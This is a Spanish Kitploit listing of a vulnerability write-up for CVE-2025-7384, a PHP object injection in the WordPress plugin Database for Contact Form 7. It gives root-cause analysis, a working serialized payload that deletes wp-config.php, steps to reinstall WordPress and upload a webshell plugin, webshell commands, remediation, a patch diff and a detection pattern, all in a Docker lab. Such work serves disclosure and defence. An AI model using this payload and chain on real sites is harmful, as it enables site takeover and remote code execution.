Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-7384 — Exploit PoC y análisis de causa raíz para una inyección crítica de objetos PHP sin autenticación en WordPress Database for Contact Form 7, que conduce a RCE mediante la eliminación arbitraria de archivos. | Kitploit
Herramientas/GitHubGitHub/dungsocool/cve-2025-7384
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebAprendizaje y EducaciónLabs y Práctica
GitHubdungsocool/cve-2025-7384

CVE-2025-7384

Exploit PoC y análisis de causa raíz para una inyección crítica de objetos PHP sin autenticación en WordPress Database for Contact Form 7, que conduce a RCE mediante la eliminación arbitraria de archivos.

Ver Repositorio
hace 19 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-7384 — Inyección de Objetos PHP a RCE

Plugin: Database for Contact Form 7 (contact-form-entries) ≤ 1.4.3
CVSS: 9.8 (Crítico)
CWE: CWE-502 — Deserialización de Datos No Confiables
Requisito de autenticación: Ninguno (No autenticado)
Impacto: Ejecución Remota de Código


Tabla de Contenidos

  1. Resumen de la Vulnerabilidad
  2. Conceptos Relacionados
  3. Análisis de Causa Raíz (Código Fuente + Depuración)
  4. Cadena de Ataque
  5. Reproducción Paso a Paso (POC)
  6. Evaluación de Impacto
  7. Medidas de Remediación

1. Resumen de la Vulnerabilidad

El plugin "Database for Contact Form 7" (slug: contact-form-entries), en su versión 1.4.3 e inferiores, contiene una vulnerabilidad de Inyección de Objetos PHP. Cuando un administrador de WordPress visualiza un registro (entrada) de formulario dentro del panel de administración, el plugin llama a la función maybe_unserialize() directamente sobre los datos enviados por un usuario no autenticado a través de Contact Form 7, sin controlar la lista de clases permitidas para instanciar.

Un atacante no necesita iniciar sesión; solo necesita enviar un formulario de contacto normal insertando un objeto PHP serializado en cualquier campo del formulario. Estos datos se almacenan sin procesar en la base de datos. Cuando un administrador abre y ve esa entrada, la función de deserialización instancia un objeto elegido por el atacante, disparando métodos mágicos como __destruct() o __wakeup() → ejecutando comportamiento arbitrario dependiendo de los gadgets POP disponibles en el entorno de WordPress.

Nivel de severidad: Con un gadget POP adecuado (por ejemplo, una clase cuyo método __destruct() llama a unlink()), un atacante puede eliminar el archivo wp-config.php, devolviendo WordPress a su pantalla de instalación inicial → reinstalando con una cuenta de administrador controlada por el atacante → instalando un plugin que contiene un webshell → logrando la Ejecución Remota de Código (RCE) completa en el servidor.


2. Conceptos Relacionados

Serialización / Deserialización de PHP

PHP usa serialize() para convertir un objeto en una cadena de texto estructurada, y unserialize() para restaurar el objeto desde esa cadena. Cuando unserialize() recibe datos de una fuente no confiable (por ejemplo, entrada de usuario), un atacante puede construir un objeto arbitrario perteneciente a cualquier clase cargada en la memoria de PHP en ese momento.

Métodos Mágicos de PHP

Métodos especiales que PHP invoca automáticamente durante el ciclo de vida de un objeto. Los más importantes en este contexto:

  • __wakeup() — se invoca inmediatamente cuando se deserializa un objeto
  • __destruct() — se invoca cuando un objeto se destruye (sale del ámbito, o la petición termina)
  • __toString() — se invoca cuando un objeto se convierte a cadena

Cadena POP (Programación Orientada a Propiedades)

Técnica que encadena múltiples métodos mágicos de clases existentes dentro de la aplicación para construir una secuencia peligrosa de comportamientos. El atacante no escribe código nuevo; solo manipula las propiedades de objetos existentes para que, cuando se ejecuten los métodos mágicos, realicen acciones no previstas por los desarrolladores.

maybe_unserialize() en WordPress

Una función envolvente del núcleo de WordPress. Llama a is_serialized() para comprobar si una cadena son datos serializados; si es así, llama a unserialize() para restaurar el objeto. Problema: esta función no pasa el parámetro allowed_classes (disponible desde PHP 7.0) para limitar qué clases se permite instanciar.


3. Análisis de Causa Raíz — Descubrimiento de la Vulnerabilidad a partir del Código Fuente

Paso 1: Búsqueda de Sinks (Sink Hunting)

Comience ejecutando grep en todo el código fuente del plugin para localizar las funciones de deserialización — estas son las funciones más peligrosas en PHP, ya que pueden conducir a Inyección de Objetos:

root@kitploit:~
grep -rn "unserialize" wp-src/wp-content/plugins/contact-form-entries/

image.png

El resultado revela múltiples puntos de llamada a maybe_unserialize(), especialmente dentro de includes/data.php, línea 545, en la función verify_val():

image 1.png

root@kitploit:~
// data.php lines 538-548
public function verify_val($string){
    if(in_array(substr(ltrim($string),0,1), array('{','['))
       && in_array(substr(rtrim($string),-1), array('}',']'))
    ){
        $val = json_decode($string, 1);
        if(is_array($val)){ $string = $val; }
    } else if(is_serialized($string)){            // line 544
        $string = maybe_unserialize($string);     // ★ line 545 — SINK
    }
    return $string;
}

Pregunta clave: ¿De dónde proviene la variable $string? Si viene de entrada de usuario sin filtrado → esto es una vulnerabilidad.

Paso 2: Rastreo hacia atrás — ¿De dónde provienen los datos?

Localice dónde se invoca verify_val(). Rastree hacia atrás en el mismo archivo data.php:

image 2.png

root@kitploit:~
// data.php lines 520-535
public function get_lead_detail($lead_id){
    global $wpdb;
    $table = $wpdb->prefix . 'vxcf_leads_detail';
    $detail_arr = $wpdb->get_results(
        $wpdb->prepare("SELECT * FROM $table WHERE lead_id=%d", $lead_id),
        ARRAY_A
    );

    foreach($detail_arr as $k => $v){
        if(!empty($v['value'])){
            $detail_arr[$k]['value'] = $this->verify_val($v['value']);  // ← calls verify_val
        }
    }
    return $detail_arr;
}

→ $string es precisamente $v['value'] — valores obtenidos de la tabla de la base de datos wp_vxcf_leads_detail. Esta función se llama cuando un administrador ve los detalles de una entrada de formulario.

Siguiente pregunta: ¿De dónde provienen los datos dentro de wp_vxcf_leads_detail? ¿Quién los escribe?

Paso 3: Localizar puntos de escritura de datos (Fuente)

Del Paso 2 sabemos que los datos se obtienen de la base de datos. Siguiente pregunta: ¿quién escribe los datos en ella? Busque consultas INSERT dentro de data.php:

root@kitploit:~
grep -rn "insert" wp-src/wp-content/plugins/contact-form-entries/includes/data.php

image 3.png

Abra el código de la función create_lead() (líneas 85-103) para más detalles:

image 4.png

En las líneas 98-99, el valor $v — que es el contenido de un campo del formulario (por ejemplo, your-message) — se inserta directamente en la base de datos mediante $wpdb->insert(). El plugin se engancha al evento wpcf7_before_send_mail de Contact Form 7, por lo que cada vez que un usuario envía un formulario, todos los campos se almacenan sin procesar.

Comprobación adicional: el plugin sí usa sanitize_text_field() y sanitize_textarea_field() antes de guardar, pero estas dos funciones solo eliminan etiquetas HTML y caracteres HTML especiales: un payload serializado como O:21:"VulnerableFileHandler":2:{...} no contiene etiquetas HTML y, por lo tanto, pasa intacto por completo.

Paso 4: Conclusión — Confirmación de la Vulnerabilidad

En este punto, el flujo completo queda establecido:

root@kitploit:~
Unauthenticated user submits CF7 form (your-message field contains serialized object)
    ↓ sanitize_text_field() — DOES NOT block serialized strings
Saved into wp_vxcf_leads_detail table (raw payload)
    ↓
Admin views entry → get_lead_detail() → verify_val()
    ↓ is_serialized() returns true
maybe_unserialize($string) — line 545 → PHP instantiates arbitrary object
    ↓
Object's __destruct() executes → performs attacker-controlled action

Causa raíz: La función maybe_unserialize() en data.php:545 se llama sobre datos que se originan en entrada de usuario no autenticada, sin pasar allowed_classes: false. Un atacante solo necesita enviar un objeto PHP serializado a través del campo your-message de un formulario CF7 → cuando un administrador ve la entrada, PHP instancia ese objeto y activa el método mágico __destruct().

Paso 5: Verificación con Depurador (Xdebug)

Como prueba visual, establezca un punto de interrupción con Xdebug en la línea 545 de data.php. Después de inyectar el payload a través del formulario y de que el administrador vea la entrada, el depurador se detiene exactamente en maybe_unserialize():

image 5.png

Panel de Variables muestra $string conteniendo el payload del atacante:

  • $string = "O:21:\"VulnerableFileHandler\":2:{s:9:\"file_path\";s:27:\"/var/www/html/wp-config.php\";s:7:\"cleanup\";b:1;}" → el payload viajó desde el formulario → base de datos → función de deserialización sin ser bloqueado

Línea de ejecución:

  • Línea 545: $string=maybe_unserialize($string);

Pila de llamadas muestra la secuencia de llamadas a funciones:

root@kitploit:~
vxcf_form_data->verify_val        data.php:545
vxcf_form_data->get_entries       data.php:388
vxcf_form::get_entries            contact-form-entries.php:2682
vxcf_form_pages->entries_page     plugin-pages.php:1017
...
WP_Hook->apply_filters            class-wp-hook.php:324
WP_Hook->do_action                class-wp-hook.php:348

→ Confirma el flujo exacto analizado: el administrador ve la entrada → get_entries() → verify_val() → maybe_unserialize().


4. Cadena de Ataque

La cadena de ataque consta de 5 etapas. El atacante solo necesita ejecutar la Etapa 1 (envío del formulario). Las etapas 2-5 ocurren automáticamente después de que un administrador ve la entrada.

Etapa 1 — Inyectar el Payload (No autenticado)

El atacante envía un formulario CF7 con un objeto PHP serializado en el campo de mensaje.

  • Endpoint: POST /wp-json/contact-form-7/v1/contact-forms/{id}/feedback
  • El campo your-message contiene: O:21:"VulnerableFileHandler":2:{s:9:"file_path";s:27:"/var/www/html/wp-config.php";s:7:"cleanup";b:1;}
  • El plugin guarda el payload en la tabla wp_vxcf_leads_detail — sanitize_text_field() no bloquea las cadenas serializadas

Etapa 2 — Disparar la Deserialización (Esperando al administrador)

El administrador abre la página Contact Form Entries → ve los detalles de la entrada → el plugin llama a verify_val() → maybe_unserialize().

  • PHP instancia el objeto VulnerableFileHandler con file_path = "/var/www/html/wp-config.php" y cleanup = true
  • Cuando la petición termina, el recolector de basura de PHP invoca __destruct() → unlink("/var/www/html/wp-config.php")

Etapa 3 — Eliminación Arbitraria de Archivos

El archivo wp-config.php se elimina → WordPress pierde la conexión a la base de datos.

  • Acceder a http://target/ → redirige automáticamente a /wp-admin/setup-config.php (pantalla de instalación inicial)
  • WordPress trata el sitio como no instalado

Etapa 4 — Reinstalación de WordPress

El atacante reinstala WordPress usando credenciales de base de datos conocidas (o forzadas por fuerza bruta).

  • Crear una nueva cuenta de administrador controlada por el atacante
  • Iniciar sesión en el panel de administración con privilegios completos de administrador

Etapa 5 — Ejecución Remota de Código

Instalar un plugin que contenga un webshell → ejecutar comandos arbitrarios del sistema.

  • Panel de administración → Plugins → Añadir nuevo → Subir el ZIP del plugin que contiene el webshell PHP
  • Acceso: /wp-content/plugins/shell/shell.php?cmd=id
  • Salida: uid=33(www-data) gid=33(www-data) → RCE completada

5. Reproducción Paso a Paso (POC)

5.1 Configuración del Entorno

Inicie el laboratorio Docker que contiene WordPress + el plugin vulnerable:

root@kitploit:~
cd CVE-2025-7384
docker-compose up --build -d

Espere unos 40 segundos hasta que los logs muestren LAB READY. Acceda a http://localhost:8181 para verificar que WordPress está en funcionamiento.

5.2 Identificar el Punto de Inyección

Del análisis del código fuente en la Sección 3, sabemos:

  • El sink se encuentra en data.php:545 — maybe_unserialize() sobre los valores de los campos del formulario
  • La fuente es la tabla wp_vxcf_leads_detail — los datos provienen del formulario CF7
  • La sanitización solo depende de sanitize_text_field() — no bloquea cadenas serializadas

→ Conclusión: basta con enviar un objeto PHP serializado en cualquier campo del formulario CF7. Elija your-message porque es un área de texto, acepta cadenas largas y tiene menos validación de formato (a diferencia de your-email, que requiere formato de correo electrónico).

5.3 Inyectar el Payload mediante el Formulario de Contacto

Acceda a http://localhost:8181/contact/ y rellene el formulario de la siguiente manera:

CampoValor
Tu nombredung
Tu correo electrónico[email protected]
Asuntotest inject
Tu mensajeO:21:"VulnerableFileHandler":2:{s:9:"file_path";s:27:"/var/www/html/wp-config.php";s:7:"cleanup";b:1;}

image 6.png

Explicación del payload:

  • O:21:"VulnerableFileHandler" — instancia la clase VulnerableFileHandler (que tiene __destruct() llamando a unlink())
  • s:9:"file_path";s:27:"/var/www/html/wp-config.php" — la propiedad file_path apunta al archivo objetivo a eliminar
  • s:7:"cleanup";b:1 — la propiedad cleanup = true para que __destruct() ejecute unlink()

Haga clic en Submit. El formulario muestra un mensaje de error de envío de correo (o éxito) — irrelevante, porque el plugin contact-form-entries ya guardó todos los datos en la base de datos antes de la entrega del correo.

5.4 Disparar la Deserialización — El Administrador Ve la Entrada

Inicie sesión en http://localhost:8181/wp-admin (admin / admin123) → en el menú izquierdo seleccione CRM Entries → haga clic para ver la entrada recibida.

image 7.png

Este es el momento exacto en que la ejecución llega a data.php:545 — el plugin obtiene el valor de your-message de la base de datos, la comprobación is_serialized() devuelve true, llama a maybe_unserialize() → PHP crea el objeto VulnerableFileHandler → la petición termina, __destruct() se ejecuta → unlink("/var/www/html/wp-config.php").

5.5 Confirmar la Eliminación Arbitraria de Archivos

Navegue a http://localhost:8181/ en el navegador → WordPress redirige a la página /wp-admin/setup-config.php (pantalla de instalación inicial) → el archivo wp-config.php se eliminó correctamente.

image 8.png

5.6 Escalar a RCE

Con wp-config.php eliminado, WordPress vuelve al estado no instalado. Pasos del atacante:

Paso 1 — Reinstalar WordPress:

Acceda a http://localhost:8181/wp-admin/setup-config.php → introduzca las credenciales de la base de datos:

CampoValor
Nombre de la base de datoswordpress
Usuariowpuser
Contraseñawppass
Host de la base de datos

Haga clic en Submit → Ejecutar la instalación → crear una nueva cuenta de administrador controlada por el atacante.

Paso 2 — Subir el Webshell:

Inicie sesión en el panel de administración → Plugins → Añadir nuevo → Subir plugin → suba el archivo system-health.zip (o system-monitor.zip).

image 9.png

La carga y activación se realizaron correctamente.

Paso 3 — Ejecutar comandos (RCE):

Acceso: http://localhost:8181/wp-content/plugins/system-monitor/system-monitor.php?cmd=id

image 10.png

Salida: uid=33(www-data) gid=33(www-data) → Ejecución Remota de Código completada

Acceso: http://localhost:8181/wp-content/plugins/system-monitor/system-monitor.php?cmd=whoami

image 11.png

Salida: www-data → Ejecución Remota de Código completada


6. Evaluación de Impacto

*Interacción del usuario: NVD lo califica como Ninguna porque ver las entradas del formulario por parte de un administrador es un comportamiento esperado, no una interacción de usuario anómala.

Alcance del Impacto en el Mundo Real

  • El plugin "Database for Contact Form 7" tiene más de 100,000+ instalaciones activas en wordpress.org
  • Cualquier sitio WordPress que ejecute este plugin en su versión ≤ 1.4.3 junto con Contact Form 7 es vulnerable
  • El atacante no necesita información previa — solo necesita identificar que el sitio usa Contact Form 7 (fácilmente detectable a través del código fuente HTML)
  • El payload se almacena de forma persistente en la base de datos, lo que hace que el ataque persista hasta que la entrada se elimine

7. Medidas de Remediación

Para Desarrolladores de Plugins

  1. No use maybe_unserialize() sobre datos proporcionados por el usuario. Use json_decode() en su lugar cuando se requiera almacenamiento de datos estructurados.

  2. Si la deserialización es estrictamente necesaria, proporcione la opción allowed_classes: false (PHP 7.0+):

root@kitploit:~
$data = unserialize($string, ['allowed_classes' => false]);

Esto evita que PHP instancie cualquier objeto — permitiendo solo tipos escalares y arrays.

  1. Valide los datos de entrada en la capa de almacenamiento: si un campo de formulario solo debe contener texto plano, rechace cualquier valor que coincida con el patrón /^[OaCis]:\d+/ (indicador de datos serializados).

Para Administradores de WordPress

  1. Actualice el plugin inmediatamente a la versión 1.4.4 o superior

  2. Inspeccione la tabla de la base de datos wp_vxcf_leads_detail en busca de entradas que contengan cadenas con el formato O:XX:"ClassName": — su presencia indica intentos de ataque

  3. Asegúrese de que wp-config.php tenga permisos de archivo restrictivos (440 o 400) — reduciendo la probabilidad de eliminación por el proceso del servidor web

  4. Implemente un WAF (Web Application Firewall) configurado con reglas para detectar objetos PHP serializados en los datos POST

Diff del Parche (Referencia)

root@kitploit:~
// BEFORE (vulnerable):
} else if(is_serialized($string)){
    $string = maybe_unserialize($string);
}

// AFTER (patched):
} else if(is_serialized($string)){
    $string = json_decode(json_encode(
        unserialize($string, ['allowed_classes' => false])
    ), true);
}
Descargar herramienta
AtributoValor
CVE IDCVE-2025-7384
Puntuación CVSS9.8 (Crítico)
CWECWE-502 — Deserialización de Datos No Confiables
Plugin afectadocontact-form-entries (Database for Contact Form 7) ≤ 1.4.3
Requisito de autenticaciónNinguno — cualquiera que envíe un formulario CF7 puede inyectar el payload
Condición de activaciónEl administrador ve la entrada inyectada en el panel de administración
Impacto máximoEjecución Remota de Código no autenticada
Versión parcheada1.4.4+ (reemplaza unserialize con json_decode o allowed_classes: false)
db
Prefijo de tablaswp_
Métrica CVSSValorExplicación
Vector de ataqueRedSe explota a través de HTTP, no se necesita acceso físico
Complejidad de ataqueBajaSolo requiere enviar 1 petición POST que contenga el payload
Privilegios requeridosNingunoNo se requiere autenticación — el formulario CF7 está abierto al público
Interacción del usuarioNinguna*El administrador ve las entradas durante su flujo de trabajo habitual
ConfidencialidadAltaLa RCE permite leer cualquier archivo en el servidor
IntegridadAltaLa RCE permite escribir/modificar cualquier archivo
DisponibilidadAltaEliminar wp-config.php provoca la caída de todo el sitio web